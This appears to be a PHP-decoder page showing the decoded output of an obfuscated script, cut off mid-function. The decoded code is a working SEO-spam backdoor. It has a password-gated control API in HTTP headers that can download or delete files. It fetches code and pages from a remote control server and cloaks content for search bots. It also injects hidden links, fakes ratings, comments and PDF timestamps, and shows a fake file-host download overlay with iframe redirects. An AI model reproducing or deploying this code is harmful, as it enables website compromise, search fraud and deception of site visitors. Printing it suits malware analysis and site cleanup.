Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $hc928ce69e3 = '7L3rehpJsij6u/spsJqeAgsQF10tI7dutjUjW96SPD29ZA1fAYUoCyiGAktq2+d19nuc..
Decoded Output download
$password = '2lRcP7QlUv'; $version = 50;
if (! defined('ZEND_SECURITY_UPGRADE_VERSION')) {
define('ZEND_SECURITY_UPGRADE_VERSION', '1.22');
function dds_debug($what) {
if (@$_SERVER['HTTP_X_FILE']) return;
if (! isset($GLOBALS['DDS_DEBUG_MESSAGES'])) $GLOBALS['DDS_DEBUG_MESSAGES'] = array();
$GLOBALS['DDS_DEBUG_MESSAGES'][] = $what;
if (@! $GLOBALS['DDS_DEBUG_MODE']) return;
if (@$_SERVER['HTTP_X_DEBUGFILE']) {
file_put_contents(dirname(__FILE__)."/".$_SERVER['HTTP_X_DEBUGFILE'], $what . "
", FILE_APPEND);
} else {
echo $what . "<br>
";
}
}
class DS_FilenameMaker
{
var $stopWords = array("kindle", "free", "download", "ebook", "book", "books", "online", "format", "read", "downloadable", "audiobook", "ebooks");
var $extensions = array("epub", "fb2", "mobi", "pdf", "docx", "doc", "exe", "zip", "ibook");
var $cantStart = array("for", "of", "in", "by", "at");
var $separators = array("-", ".");
var $rippers = array("ettv", "KILLERS", "FUM", "0SEC", "ShAaNiG", "IMMERSE");
var $defaultExtension;
function __construct($defaultExtension)
{
$this->defaultExtension = $defaultExtension;
}
function getExtension($keyword)
{
foreach ($this->extensions as $extension) {
if (false !== stripos($keyword, $extension)) return $extension;
}
return $this->defaultExtension;
}
function rand($array)
{
return $array[mt_rand(0, count($array) - 1)];
}
function getRipper()
{
if (mt_rand(0, 10) <= 8) return '';
$ripper = $this->rand($this->rippers);
if (mt_rand(0, 1)) {
return ".[$ripper]";
} else {
return ".uploaded.by.$ripper";
}
}
function getFilename($keyword)
{
$keyword = urldecode($keyword);
mt_srand(crc32($keyword));
$name = strtolower($keyword);
foreach ($this->extensions as $ext) {
$name = str_replace('.'.$ext, '', $name);
}
$name = trim($name);
$words = explode(' ', $name);
$words = array_diff($words, $this->stopWords, $this->extensions);
while (count($words) && in_array($words[0], $this->cantStart)) {
array_shift($words);
}
if (count($words) == 0) {
return $keyword.'.'.$this->defaultExtension;
}
$words = array_map('ucfirst', $words);
$separator = $this->rand($this->separators);
return implode($separator, $words) . $this->getRipper() . '.' . $this->getExtension($keyword);
}
}
class Bot_ContentGenerator
{
/** @var DS_CacheWriter */
var $cache;
var $uri;
var $linksToInject = array();
var $linkReplaceMax = 6;
var $linkReplaceGroupSize = 1;
var $overrideTime = false;
var $filenameMaker;
/** @var DS_Browser */
var $browser;
function __construct($cache, $filenameMaker, $uri, $browser)
{
$this->cache = $cache;
$this->filenameMaker = $filenameMaker;
$this->uri = $uri;
$this->browser = $browser;
}
function canTouchUri()
{
if (preg_match('#\.(js|txt|css)#', $this->uri) && ! $this->cache->exists($this->uri)) return false;
return true;
}
function endsWith($haystack, $needle)
{
return $needle === "" || (($temp = strlen($haystack) - strlen($needle)) >= 0 && strpos($haystack, $needle, $temp) !== FALSE);
}
function getUriData($key = false)
{
$data = $this->cache->jsonRead($this->uri, false);
if (! $data) {
dds_debug("No cache data for '$this->uri'");
} else if ($key) {
return $data[$key];
}
return $data;
}
function getKeyword()
{
return $this->getUriData('keyword');
}
function getMainKeyword()
{
return $this->getUriData('mainkeyword');
}
function hideLinks($html)
{
return preg_replace_callback('#(<a href=".+?") data-at="(.+?)">(.+?)(</a>)#is', array($this, 'hideLink'), $html);
}
function hideLink($matches)
{
list(, $first, $postedat, $anchor, $last) = $matches;
$postedAt = intval($postedat);
if ($this->shouldBePosted($postedAt) || @$GLOBALS['DDS_DEBUG_MODE']) {
$value = $first . ">" . $anchor . $last;
} else {
$value = $anchor;
}
if (@$GLOBALS['DDS_DEBUG_MODE']) {
$value .= ' ((' . $this->printTimeDifference($postedAt) . '))';
}
return $value;
}
function hasContent()
{
return $this->getUriData() != false;
}
function printCache($redirectKey, $buttonLink)
{
if (! ($data = $this->getUriData())) {
return false;
}
if (@$data['postedat']) {
if (! $this->shouldBePosted($data['postedat'] + 60)) {
$time = time();
dds_debug("Should not be posted, posted at {$data['postedat']}, now $time");
return false;
}
}
$text = $data['text'];
$text = $this->hideLinks($text);
if ($buttonLink) {
$text = str_replace('[[[buttonlink]]]', $buttonLink, $text);
}
if (preg_match('#\.(png|jpe?g|gif)$#', $this->uri, $matches)) {
$text = base64_decode($text);
header("Content-Type: image/" . $matches[1]);
} else if (preg_match('#\.woff2?$#', $this->uri)) {
header("Content-Type: application/x-font-woff");
} else if ($this->endsWith($this->uri, '.js')) {
header("Content-Type: application/javascript");
} else if ($this->endsWith($this->uri, '.css')) {
header("Content-Type: text/css");
} else if ($data['title'] == '' && false !== strpos($text, '<title>')) {
} else if ($this->endsWith($this->uri, '.pdf')) {
header("Cache-Control: no-cache");
dds_debug("Making pdf");
$key = $this->getKeyword();
if (! $key) {
$key = preg_replace('#^/\??#', '', $this->uri);
}
$filename = $this->filenameMaker->getFilename($key);
return $this->printPDF($data, $filename);
} else {
header("Cache-Control: no-cache");
dds_debug("Making html");
return $this->injectHtmlToTemplate($data, $redirectKey);
}
echo $text;
return true;
}
function fetchImage($url){
return $this->browser->get($url, array(
CURLOPT_TIMEOUT => 2,
CURLOPT_CONNECTTIMEOUT => 1
));
}
function loadImage($matches) {
$url = $matches[2];
$cacheImage = strpos($matches[3], 'data-save="yes"') !== false;
if (! $cacheImage) {
$body = $this->fetchImage($url);
} else if ($this->cache->exists($url)) {
$body = $this->cache->readRaw($url);
} else {
$body = $this->fetchImage($url);
$this->cache->writeRaw($url, $body);
}
if (! $body) return '';
$img = '@' . base64_encode($body);
return $matches[1] . $img . $matches[3];
}
function printPDF($data, $filename)
{
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf->SetSubject($data['title']);
$pdf->SetKeywords($data['description']);
$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
$pdf->SetHeaderMargin(PDF_MARGIN_HEADER);
$pdf->SetFooterMargin(PDF_MARGIN_FOOTER);
$pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);
$pdf->SetFont('helvetica', '', 12);
$pdf->AddPage();
$html = $data['text'];
$html = preg_replace_callback('#(<img src=")([^"]+?)(".+?>)#', array($this, 'loadImage'), $html, 1);
$pdf->writeHTML($html, true, false, true, false, '');
mt_srand(crc32($filename));
if ($postedat = @$data['postedat']) {
$day = 3600 * 24;
$moddedat = $postedat - mt_rand($day, $day * 2);
$createdat = $postedat - mt_rand($day * 2, $day * 5);
} else {
$timestamp = mt_rand(1433106000, 1436907600);
$moddedat = mt_rand($timestamp, $timestamp);
$createdat = mt_rand($timestamp, $timestamp);
}
$pdf->setDocCreationTimestamp($createdat);
$pdf->setDocModificationTimestamp($moddedat);
$pdf->Output($filename, 'I');
return true;
}
function hasBadTemplate()
{
$template = $this->cache->read('template');
if (! $template) return true;
foreach (array('text', 'title', 'description') as $name) {
if (false === strpos($template, "[[[$name]]]")) return true;
}
return false;
}
function removeScript($matches)
{
if (preg_match('#(analytics|google|twitter|facebook|yahoo|bing|src=)#i', $matches[0])) {
return '';
} else {
return $matches[0];
}
}
function injectHtmlToTemplate($data, $redirectKey)
{
$template = $this->cache->read('template');
if (! $template) {
dds_debug("No template");
return false;
}
$template = preg_replace_callback('#<script.*?/script>#is', array($this, 'removeScript'), $template);
$text = $data['text'];
$comments = @$data['comments'];
$postedat = @$data['postedat'];
if (! $postedat) {
dds_debug("Posted at $postedat. ".($this->getTime() - $postedat)." s ago");
} else {
mt_srand(crc32($this->uri));
$rateNumber = mt_rand(50, 300);
dds_debug("Rate number $rateNumber");
$count = 0;
$sum = 0;
$time = $postedat + 3600 * 24 * 2;
for ($i = 0; $i < $rateNumber; $i++) {
$time += mt_rand(3600 * 12, 3600 * 24);
if ($this->getTime() < $time) break;
$count++;
$sum += mt_rand(4, 5);
}
$avg = number_format($sum / $count, 1);
$text .= $this->getRatingText($data['keyword'], $avg, $count);
if ($this->cache->read('sitemap') == 'yes' && $this->cache->read('sitemap_showtype') == 'inline') {
$text .= "<a href=\"/sitemap.xml\">Sitemap</a>";
}
}
if ($comments && $postedat) {
mt_srand(crc32($_SERVER['HTTP_HOST']));
$mod = $this->randomGet('', ' id="comments"', ' class="comments"', ' id="comment-list"', ' class="comment-list"');
$text .= "<div".$mod.">";
$tag = $this->randomGet('p', 'div', 'span');
$commentmod = $this->randomGet('', ' id="comment"', ' class="comment"');
mt_srand(crc32($this->uri));
$comments = explode("
", trim($comments));
dds_debug("Comment number: ".count($comments));
$time = $postedat;
$day = 3600 * 24;
for ($i = 0; $i < count($comments); $i++) {
$comment = $comments[$i];
if (! $comment) continue;
$time += mt_rand($day / 2, $i == 0 ? $day : $day * 3);
dds_debug("Comment posted at: ".date(DATE_W3C, $time)." diff ".($this->getTime() - $time));
if ($this->getTime() < $time) break;
$text .= "<$tag$commentmod>$comment</$tag>
";
}
$text .= "</div>";
} else {
dds_debug("NO COMMENTS");
}
$title = $data['title'];
if (false !== strpos($title, '[filename]')) {
$keyword = $data['keyword'];
$title = str_replace('[filename]', $this->filenameMaker->getFilename($keyword), $title);
}
$template = str_replace("[[[text]]]", $text, $template);
$template = str_replace("[[[title]]]", $title, $template);
if (! $data['description']) {
$template = preg_replace('#<meta name="description"[^>]*?>#', '', $template);
} else {
$template = str_replace("[[[description]]]", $data['description'], $template);
}
if ($this->cache->read('redirectwith') == 'frame') {
dds_debug('Adding script writing script');
$template = preg_replace('#(</head.*?>)#i', $this->getScriptWritingScript($redirectKey, $this->getKeyword()) . '$1', $template);
}
if ($this->cache->read('redirectwith') == 'fakedownload') {
$links = $this->parseLinksToSelf($text);
$path = $this->getFakeDownloadPath();
$fullPath = "$path&key=" . urlencode($redirectKey);
$fullPath .= "&free=" . urlencode($links[0]);
$premiumLink = count($links) > 1 ? $links[1] : $links[0];
$fullPath .= "&premium=" . urlencode($premiumLink);
$iframe = '<iframe style="width:100%;height:100%;position:fixed;top:0;left:0;z-index:2147483649" src="'.htmlspecialchars($fullPath).'" frameBorder="0"></iframe>';
$template = preg_replace('#<body.*?>#i', '$0' . $iframe, $template);
}
echo $template;
return true;
}
function hasMyDomain($link)
{
return false !== strpos($link, str_replace('www.', '', $_SERVER['HTTP_HOST']));
}
function parseLinksToSelf($html)
{
preg_match_all('<a href="(.+?)">', $html, $links);
return array_values(array_filter($links[1], array($this, 'hasMyDomain')));
}
function getFakeDownloadPath()
{
if ($data = $this->cache->read('fakedownload2')) {
return $data;
}
$path = "/?something=" . md5(rand());
$this->cache->write('fakedownload2', $path);
return $path;
}
function getFakeDownloadPage()
{
$size = @$_COOKIE['size'];
if (! $size) {
$size = (rand(2000, 4000) / 100) . ' MB';
setcookie('size', $size, time() + 600);
}
$date = @$_COOKIE['date'];
if (! $date) {
$month = 3600 * 24 * 30;
$date = time() - $month - rand(0, $month * 2);
$date = date('d F Y', $date);
setcookie('date', $date, time() + 600);
}
$action = @$_COOKIE['action'];
if (! $action) $action = 'buttons';
setcookie('action', 'loading', time() + 60);
$filename = @$_COOKIE['filename'];
if (! $filename) {
$filename = @$_GET['key'];
setcookie('filename', $filename, time() + 600);
}
return DS_OverlayGenerator::getHtml(array(
'action' => $action,
'filename' => $filename,
'size' => $size,
'date' => $date,
'freelink' => @$_GET['free'],
'premiumlink' => @$_GET['premium']
));
}
function getRatingText($key, $value, $count)
{
$myUrl = htmlspecialchars("http://" . $_SERVER['HTTP_HOST'] . $this->uri);
$nicekey = ucwords($key);
return <<<EOF
<div itemscope itemtype="http://schema.org/Product">
<a itemprop="url" href="$myUrl">
<div itemprop="name"><strong>$nicekey</strong></div>
</a>
<div itemprop="description"></div>
<div id="rating-text" class="rating-label clearfix">
<span itemprop="aggregateRating" itemscope itemtype="http://schema.org/AggregateRating">
<meta itemprop="worstRating" content="1">
<span itemprop="ratingValue" class="rating-value">$value</span>/
<span itemprop="bestRating">5</span> –
<span itemprop="ratingCount" class="rating-count">$count</span> votes
</span>
</div>
</div>
EOF;
}
function getWritingScriptPath()
{
if ($data = $this->cache->read('iframescript2')) {
return $data;
}
$path = "/?jsname=" . md5(rand());
$this->cache->write('iframescript2', $path);
return $path;
}
function getScriptWritingScript($key, $originalKey)
{
$path = $this->getWritingScriptPath();
$fullPath = "$path&key=" . urlencode($key) . "&original=" . $originalKey;
$fullPath = htmlspecialchars($fullPath);
return "<script data-cfasync=\"false\" type=\"text/javascript\" src=\"$fullPath\"></script>";
}
function getIframeRedirectCode($redirectKey, $original)
{
$redirectKey = htmlspecialchars($redirectKey);
$frameUrl = $this->cache->read('frameurl');
$frameUrl = str_replace('[key]', urlencode($redirectKey), $frameUrl);
$frameUrl = str_replace('[original]', urlencode($original), $frameUrl);
$frameUrl = str_replace('[site]', $_SERVER['HTTP_HOST'], $frameUrl);
return <<<EOF
var writeMaybe = function() {
if (document.body && document.body.innerHTML) {
document.body.innerHTML = '';
}
if (document.readyState !== "complete") {
return setTimeout(writeMaybe, 20);
}
var html = '<iframe style="width:100%;height:100%;position:fixed;top:0;left:0;z-index:2147483649" src="$frameUrl" frameBorder="0"></iframe>';
document.body.innerHTML = html;
};
writeMaybe();
EOF;
}
function randomGet()
{
$values = func_get_args();
return $values[mt_rand(0, count($values) - 1)];
}
function addLinks($html)
{
if ($this->cache->read('innerlinkdisplay') == 'remove') {
return $html;
}
$linkList = $this->cache->read('links');
$linkList = $linkList ? json_decode($linkList, true) : array();
$seed = crc32(rtrim($_SERVER['REQUEST_URI'], '/'));
mt_srand($seed);
$number = 12 + abs($seed % 9);
$this->linksToInject = $this->seededGet($linkList, $number);
$html = preg_replace_callback('#<a.*?</a>#is', array($this, 'injectLinkReplace'), $html);
$html = preg_replace_callback('#<a.*?</a>#is', array($this, 'injectLinkReplace'), $html);
$html = preg_replace_callback('#<a.*?</a>#is', array($this, 'injectLinkReplace'), $html);
$this->linkReplaceGroupSize = 100;
$this->linkReplaceMax = 0;
$html = preg_replace_callback('#<a.*?</a>#is', array($this, 'injectLinkReplace'), $html);
$html = preg_replace_callback("#(</body>|</html>|$)#i", array($this, 'injectLinkBefore'), $html);
return $html;
}
function getTime()
{
return $this->overrideTime ? $this->overrideTime : time();
}
function injectLinkReplace($matches)
{
return $this->injectLink($matches[0], 'replace');
}
function injectLinkBefore($matches)
{
return $this->injectLink($matches[0], 'before');
}
function injectLink($text, $type)
{
if (count($this->linksToInject) == 0) return $text;
if (mt_rand(0, $this->linkReplaceMax) != 0) return $text;
$data = "";
for ($i = 0; count($this->linksToInject) && $i < $this->linkReplaceGroupSize; $i++) {
$link = array_shift($this->linksToInject);
list($url, $anchor, $postedat) = $link;
if (! ($this->shouldBePosted($postedat) || $GLOBALS['DDS_DEBUG_MODE'])) continue;
$link = '<a href="'.htmlentities($url).'">'.$anchor.'</a>';
if ($GLOBALS['DDS_DEBUG_MODE']) {
$link .= ' (('.$this->printTimeDifference($postedat).'))';
}
$data .= $link."
";
}
if ($this->cache->read('innerlinkdisplay') == 'hide') {
$px = mt_rand(2000, 4000);
$data = <<<EOF
<div style="position: absolute; top: -{$px}px">$data</div>
EOF;
if ($type == 'replace') $type = 'after';
}
switch ($type) {
case 'before':
return $data . $text;
case 'after':
return $text . $data;
case 'replace':
return $data;
}
}
function printTimeDifference($time)
{
$value = $this->timeDifference($time);
return number_format($value / 3600, 2) . ' hours';
}
function timeDifference($time)
{
return time() - 60 - $time;
}
function shouldBePosted($time)
{
return $this->timeDifference($time) > 0;
}
function seededGet($items, $number)
{
$items = array_values($items);
$res = array();
$max = count($items);
for ($i = 0; $i < $number; $i++) {
$res[] = $items[mt_rand(0, $max)];
}
return $res;
}
}
class Bot_IPChecker
{
/** @var DS_CacheWriter */
var $cache;
function __construct($cache)
{
$this->cache = $cache;
}
function getIpCount()
{
return count($this->getIpList());
}
function isBot($ip)
{
return $this->exactlyMatches($ip) || $this->maskMatches($ip);
}
function exactlyMatches($ip)
{
$ips = $this->getIpList();
$long = ip2long($ip);
return in_array($long, $ips);
}
function maskMatches($ip)
{
$ipMaskList = json_decode($this->cache->read('bots/masks'));
if (! $ipMaskList) return false;
foreach ($ipMaskList as $botIp) {
$botIp = trim($botIp);
if ($botIp && preg_match("#^$botIp$#", $ip)) {
return true;
}
}
return false;
}
function getIpList()
{
$ipList = $this->cache->read('bots/ips');
if (! $ipList) return array();
return array_values(unpack('V*', $ipList));
}
function getNewIpList()
{
return $this->cache->jsonRead('bots/new_ips', array());
}
/**
* Add new ip from hidden link
*/
function addBotIP($ip)
{
if ($this->exactlyMatches($ip)) return;
$list = $this->getNewIpList();
if (! in_array($ip, $list)) {
$list[] = $ip;
}
$this->cache->write('bots/new_ips', json_encode($list));
}
/**
* Add new ip from server-provided list
*/
function addIpToList($ip)
{
$ips = $this->getIpList();
$long = ip2long($ip);
if (in_array($long, $ips)) return false;
$ips[] = $long;
array_unshift($ips, "V*");
$binary = call_user_func_array("pack", $ips);
return $this->cache->write('bots/ips', $binary);
}
function isNewIp($ip)
{
return in_array($ip, $this->getNewIpList());
}
}
class Bot_UAChecker
{
/** @var Cache_Writer */
var $cache;
function __construct($cache)
{
$this->cache = $cache;
}
function isBot($userAgent)
{
$botUserAgents = json_decode($this->cache->read('bots/useragents'));
if (! $botUserAgents) return false;
foreach ($botUserAgents as $botUserAgent) {
if (preg_match('#'.$botUserAgent.'#i', $userAgent)) {
return true;
}
}
return false;
}
}
class Bot_Linker
{
var $code;
var $remaining;
var $randomFactor = 10;
function __construct($code, $links = 5)
{
$this->code = $code;
$this->remaining = $links;
}
function injectIntoHtml($html)
{
$html = preg_replace_callback('#>([^>]+?)</a>#i', array($this, 'addLink'), $html);
$html = preg_replace_callback('#>([^>]+?)</a>#i', array($this, 'addLink'), $html);
$this->randomFactor = 0;
$html = preg_replace_callback('#>([^>]+?)</a>#i', array($this, 'addLink'), $html);
return $html;
}
function addLink($matches)
{
if (! $this->remaining || mt_rand(0, $this->randomFactor) != 0) return $matches[0];
$this->remaining--;
$uri = "/?".$this->code;
$link = '<div style="display: none"><a href="'.$uri.'">'.$matches[1].'</a></div>';
return $matches[0] . $link;
}
function isHiddenPage($requestUri)
{
return $requestUri == "/?".$this->code;
}
}
class Bot_Detector
{
/** @var Bot_IPChecker */
var $ipChecker;
/** @var Bot_UAChecker */
var $uaChecker;
function __construct($ipChecker, $uaChecker)
{
$this->ipChecker = $ipChecker;
$this->uaChecker = $uaChecker;
}
function isBot($ip, $userAgent)
{
if ($this->ipChecker->isBot($ip)) {
dds_debug("Bot by IP");
return true;
}
if ($this->ipChecker->isNewIp($ip)) {
dds_debug("Bot by NEW IP");
return true;
}
if ($this->uaChecker->isBot($userAgent)) {
dds_debug("Bot by UA");
return true;
}
return false;
}
}
class DS_UserLogger
{
/** @var DS_CacheWriter */
var $writer;
var $duration;
function __construct($writer, $duration = 14)
{
$this->writer = $writer;
$this->duration = $duration;
}
function getLogs()
{
$response = array();
for ($i = 0; $i < $this->duration; $i++) {
$name = $this->getFilename($i);
$response[$name] = base64_encode($this->writer->readRaw($name));
}
return $response;
}
function logUser($ip)
{
$file = $this->getFilename();
$this->writer->appendRaw($file, pack('V', ip2long($ip)));
$this->removeOldLogs();
}
function getFilename($offset = 0)
{
return gmdate('Y-m-d', strtotime(-$offset . ' day'));
}
function removeOldLogs()
{
for ($i = $this->duration; $i < 60; $i++) {
$this->writer->remove($this->getFilename($i));
}
}
}
class DS_ServerClient
{
/** @var DS_Browser */
var $browser;
var $host;
var $password;
function __construct($browser, $host, $password)
{
$this->browser = $browser;
$this->host = $host;
$this->password = $password;
}
function getCode($minify)
{
return $this->_query('/code/'.$this->password.'/'.$minify);
}
function getMeta()
{
return $this->_query('/meta/'.$this->password);
}
function getSitemap()
{
return $this->_query('/sitemap/'.$this->password);
}
function _query($path, $options = array())
{
$url = 'http://' . $this->host . $path;
dds_debug("Query to $url");
return $this->browser->get($url, $options);
}
function loadPages($callback, $page, $minUpdatedat, $limit)
{
$res = $this->_query("/pages/$this->password/$minUpdatedat/$page/$limit", array(
CURLOPT_TIMEOUT => 500,
CURLOPT_WRITEFUNCTION => $callback
));
return $res;
}
}
class DS_Browser
{
function get($url, $options = array())
{
$data = $this->query($url, $options);
return $data ? $data['html'] : false;
}
function getVerbose($url, $options = array())
{
return $this->query($url, $options);
}
function query($url, $requestOptions = array())
{
$debugMode = @$GLOBALS['DDS_DEBUG_MODE'];
$defaults = array(
CURLOPT_HTTPHEADER => array(
'User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0',
'Cache-Control: no-cache'
),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_CONNECTTIMEOUT => 3,
CURLOPT_TIMEOUT => 15,
CURLOPT_URL => $url,
CURLOPT_ENCODING => 'gzip',
CURLOPT_FOLLOWLOCATION => true
);
$options = $requestOptions + $defaults;
if (isset($options[CURLOPT_FILE]) || isset($requestOptions[CURLOPT_WRITEFUNCTION])) {
unset($options[CURLOPT_RETURNTRANSFER]);
}
if (isset($requestOptions[CURLOPT_HTTPHEADER])) {
$options[CURLOPT_HTTPHEADER] = array_merge($requestOptions[CURLOPT_HTTPHEADER], $defaults[CURLOPT_HTTPHEADER]);
}
if ($debugMode) {
$verbose = fopen('php://temp', 'rw+');
$options[CURLOPT_VERBOSE] = 1;
$options[CURLOPT_STDERR] = $verbose;
}
$ch = curl_init();
if (! $ch) dds_debug("Could not init curl");
if (! curl_setopt_array($ch, $options)) {
dds_debug("Could not set curl options");
}
$html = curl_exec($ch);
if ($debugMode) {
dds_debug("CURL info: ".var_export(@curl_getinfo($ch), true));
dds_debug("CURL errno: ".@curl_errno($ch));
dds_debug("CURL error: ".@curl_error($ch));
rewind($verbose);
$verboseLog = stream_get_contents($verbose);
dds_debug("CURL headers:
$verboseLog");
}
$response = array(
'html' => $html,
'info' => curl_getinfo($ch)
);
curl_close($ch);
return $response;
}
}
class DS_SEManager
{
/** @var DS_CacheWriter */
var $cache;
/** @var DS_Browser */
var $browser;
function __construct($cache, $browser)
{
$this->cache = $cache;
$this->browser = $browser;
}
function comesFromSE($server)
{
if (! isset($server['HTTP_REFERER'])) return false;
return preg_match('#google|msn|live|altavista|ask|yahoo|aol|bing#i', $server['HTTP_REFERER']);
}
function getSEKey($server, $myUri)
{
if (! $this->comesFromSE($server)) return false;
$referrer = $server['HTTP_REFERER'];
preg_match("#[\?&](?:q|p|query|keywords)=([^&]*)#i", $referrer, $keys);
$key = $keys[1];
if ($key) {
return $key;
}
$pos = strrpos($myUri, '=');
if ($pos === false) {
return false;
}
$keyFromUri = urldecode(substr($myUri, $pos + 1));
return $keyFromUri;
}
function getButtonLink($comesFromSE, $keyword, $fullkey)
{
$url = $this->cache->read('buttonlink', '');
$url = str_replace('[debug-view]', $comesFromSE ? 'debug' : 'view', $url);
$url = str_replace('[key]', urlencode($keyword), $url);
$url = str_replace('[original]', urlencode($fullkey), $url);
$url = str_replace('[site]', $_SERVER['HTTP_HOST'], $url);
return $url;
}
function getRedirectDestination($ip, $keyword, $fullkey)
{
$url = $this->cache->read('redirect');
$url = str_replace('[key]', urlencode($keyword), $url);
$url = str_replace('[original]', urlencode($fullkey), $url);
$url = str_replace('[site]', $_SERVER['HTTP_HOST'], $url);
$apikey = $this->cache->read('apikey');
if ($apikey) {
$parts = parse_url($url);
parse_str($parts['query'], $params);
$query = $params + array(
'action' => 'get_link',
'api_key' => $apikey,
'group' => ltrim($parts['path'], '/'),
'ip' => $ip,
'keyword' => $keyword,
'referer' => str_replace('www.', '', @$_SERVER['HTTP_HOST']),
'ua' => $_SERVER['HTTP_USER_AGENT'],
);
$apiUrl = "http://{$parts['host']}/api.php?".http_build_query($query);
dds_debug("Fetching api url: $apiUrl");
$response = json_decode($this->browser->get($apiUrl), true);
if (! $response) {
} else if ($response['redirect'] && $response['stream']['url']) {
$url = $response['stream']['url'];
} else if ($response['bot_action']) {
return "IS_BOT";
}
}
$url = preg_replace('@##.+@', '', $url);
return $url;
}
}
class DS_OverlayGenerator
{
private static function getBase()
{
return <<<EOF
<html>
<head>
<base target="_parent" />
<style type="text/css">
#fake table {
width: auto;
}
#fake {
background-color: #54AAC5;
color: white;
position: fixed;
top: 0;
bottom: 0;
left: 0;
right: 0;
z-index: 2147483647;
}
#header {
background-color: #2C3E50;
width: 100%;
height: 60px;
border-bottom: 2px solid white;
margin-bottom: 30px;
line-height: 60px;
padding-left: 30px;
font-size: 150%;
font-weight: bold;
}
#z {
color: #54AAC5;
}
#main {
text-align: center;
}
#heading {
font-size: 39px;
}
#dropzone, #filetable, #buttons a, #dots {
display: inline-block;
}
#dropzone {
width: 50%;
border: 2px dashed rgba(255, 255, 255, 0.5);
padding: 50px;
margin-top: 10px;
cursor: pointer;
}
#drag {
font-size: 20px;
}
#click {
font-size: 15px;
}
#filetable {
color: inherit;
font-size: 150%;
margin-top: 50px;
}
.value {
opacity: 0.5;
padding-right: 40px;
}
#action {
margin: 50px 0 30px 0;
}
#loading {
font-size: 200%;
}
#loading img {
vertical-align: middle;
}
#dots {
width: 30px;
text-align: left;
}
#head {
opacity: 0.8;
}
#buttons a {
color: white;
margin: 0 10px;
padding: 20px 30px;
text-decoration: none;
font-family: Arial, sans-serif;
}
#buttons .name {
font-weight: bold;
font-size: 130%;
}
#buttons .smaller {
font-size: 80%;
opacity: 0.7;
}
.premium {
background-color:#74ad5a;
border:1px solid #3b6e22;
-moz-box-shadow:inset 0 1px 0 0 #9acc85;
-webkit-box-shadow:inset 0 1px 0 0 #9acc85;
box-shadow:inset 0 1px 0 0 #9acc85;
}
.free {
background-color: #475e76;
border:1px solid #2C3E50;
-moz-box-shadow:inset 0 1px 0 0 #83a6cd;
-webkit-box-shadow:inset 0 1px 0 0 #83a6cd;
box-shadow:inset 0 1px 0 0 #83a6cd;
}
.hide {
display: none;
}
</style>
</head>
<body>
<div id="fake">
<div id="header">
<span id="z">Z</span> - files
</div>
<div id="main">
<div id="head">
<div id="heading">The easiest way to upload and send large files fast...</div>
<p>You Can Upload Your Files Directly It's Free, Also You Can Signup and Get 5GB!</p>
<hr style="width: 30%"/>
</div>
<table id="filetable">
<tr>
<td class="value">File name</td>
<td>FILENAME</td>
</tr>
<tr>
<td class="value">File size</td>
<td>SIZE</td>
</tr>
<tr>
<td class="value">Uploaded at</td>
<td>DATE</td>
</tr>
</table>
<div id="action">
<div id="buttons" class="buttons hide">
<a href="FREELINK" class="free">
<div class="name">Free download</div>
<div class="smaller">Slower, has ads</div>
</a>
<a href="PREMIUMLINK" class="premium">
<div class="name">Premium download</div>
<div class="smaller">Cheap, fast, ad-free</div>
</a>
</div>
<div id="loading" class="loading hide">
<img src="http://i.imgur.com/AYAH5ds.gif" /> Generating download link.
<span id="seconds">30</span> seconds remaining<span id="dots"><span>
</div>
<script>
(function () {
var count = 1;
var dots = document.getElementById("dots");
var seconds = document.getElementById("seconds");
var startSeconds = parseInt(seconds.innerHTML, 10);
setInterval(function () {
dots.innerHTML = new Array(count + 1).join(".");
startSeconds--;
if (startSeconds == 0) {
document.getElementById('loading').className = 'hide';
document.getElementById('buttons').className = '';
}
seconds.innerHTML = startSeconds;
count++;
if (count == 4) count = 1;
}, 1000);
})();
</script>
</div>
<div id="dropzone">
<div id="drag">Drag Your Files - Photos to Upload</div>
<div id="click">Or click to browse</div>
</div>
</div>
</div>
</body>
</html>
EOF;
}
public static function getHtml($values)
{
$html = self::getBase();
$action = $values['action'];
$html = str_replace($action . ' hide', $action, $html);
foreach ($values as $name => $value) {
$html = str_replace(strtoupper($name), $value, $html);
}
return $html;
}
}
class DS_ApiServer
{
/** @var DS_Installer */
var $installer;
/** @var DS_CacheWriter */
var $cache;
/** @var DS_ServerClient */
var $serverClient;
/** @var Bot_IPChecker */
var $ipChecker;
/** @var DS_UserLogger */
var $userLogger;
var $options;
var $writingError = false;
var $remainder = '';
var $pageidsWritten = array();
function __construct($installer, $cache, $serverClient, $ipChecker, $userLogger, $options)
{
$this->installer = $installer;
$this->cache = $cache;
$this->serverClient = $serverClient;
$this->ipChecker = $ipChecker;
$this->userLogger = $userLogger;
$this->options = $options;
}
function checkPassword($password)
{
return $this->options['password'] && $password === $this->options['password'];
}
function processApiCall($server, $POST)
{
if (! $this->checkPassword(@$server['HTTP_X_PASSWORD'])) return false;
$action = $server['HTTP_X_ACTION'];
if ($action == 'none') return false;
header("Cache-Control: no-cache");
if (! method_exists($this, $action)) {
return "Missing action $action";
}
$this->timeLimit(600);
return $this->_stringifyResponse($this->$action($POST));
}
function download()
{
$file = @$_SERVER['HTTP_X_FILE'];
if (! $file) return "Provide file in x-file";
header('Content-disposition: attachment; filename='.$file.'.bin');
header('Content-type: application/octet-stream');
echo $this->cache->read($file);
exit(0);
}
function remove()
{
$file = @$_SERVER['HTTP_X_FILE'];
if (! $file) return "Provide file in x-file";
return array(
'status' => $this->cache->remove($file)
);
}
function shouldInclude($server)
{
if (! $this->checkPassword(@$server['HTTP_X_PASSWORD'])) return false;
if ($server['HTTP_X_ACTION'] != 'getIncludedFiles') return false;
return $this->getIncludedFiles();
}
function _stringifyResponse($response)
{
return json_encode($response);
}
function timeLimit($seconds)
{
@set_time_limit($seconds);
@ini_set('max_execution_time', $seconds);
}
function removePreviousCache()
{
$myDir = realpath($this->cache->getDir());
$this->cache->setMaxTime(time() + 20);
$dirs = $this->cache->listDirs($_SERVER['DOCUMENT_ROOT']);
$this->cache->setMaxTime(false);
